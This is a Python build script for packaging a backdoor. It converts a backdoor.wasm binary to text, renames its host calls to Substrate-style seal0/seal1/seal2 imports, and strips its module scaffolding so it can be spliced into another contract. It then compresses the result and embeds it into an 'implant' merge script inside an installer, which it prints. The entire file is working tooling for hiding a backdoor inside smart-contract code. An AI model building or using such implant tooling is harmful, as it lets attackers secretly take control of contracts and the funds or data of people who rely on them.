""" Creates a merge.py with the given backdoor.wasm file embedded in it. """ import subprocess import zlib import sys import os try: backdoor = sys.argv[1] except: backdoor = "./backdoor.wasm" backdoor_wat = subprocess.check_output(f"wasm2wat --generate-names {backdoor}", shell=True).decode() backdoor_wat = backdoor_wat.strip() #remove any heading or trailing spaces backdoor_wat = backdoor_wat.removeprefix("(module") backdoor_wat = backdoor_wat.removesuffix(")") backdoor_wat = backdoor_wat.replace("$env.inner_call", "$inner_call") backdoor_wat = backdoor_wat.replace("$env.get_storage", "$seal1.get_storage") backdoor_wat = backdoor_wat.replace("$env.input", "$seal0.input") backdoor_wat = backdoor_wat.replace("$env.set_storage", "$seal2.set_storage") backdoor_wat = backdoor_wat.replace("$env.seal_return", "$seal0.seal_return") backdoor_void_type_name = None for l in backdoor_wat.split("\n"): l = l.strip() if l.startswith("(type $t") and l.endswith("(func))") and len(l.split(" "))==3: backdoor_void_type_name = l.split(" ")[1] break backdoor_wat = backdoor_wat.replace(backdoor_void_type_name, "$_void_type_name") new_backdoor_wat_lines = [] for l in backdoor_wat.split("\n"): if l.strip().startswith("(import"): continue if l.strip().startswith("(type") and "$_void_type_name" not in l: continue if l.strip().startswith("(export"): continue if l.strip().startswith("(memory"): continue if l.strip().startswith("(global"): continue if "$__wasm_call_ctors" in l: continue new_backdoor_wat_lines.append(l) backdoor_wat = "\n".join(new_backdoor_wat_lines) zip_data = zlib.compress(backdoor_wat.encode(), level=9) with open(os.path.join(os.path.dirname(__file__), "merge.py"), "r") as f: implant_script = f.read() implant_script = implant_script.replace("$IMPLANT", repr(zip_data)) with open(os.path.join(os.path.dirname(__file__), "install.py"), "r") as f: install_script = f.read() install_script = install_script.replace("$MERGE", implant_script) print(install_script)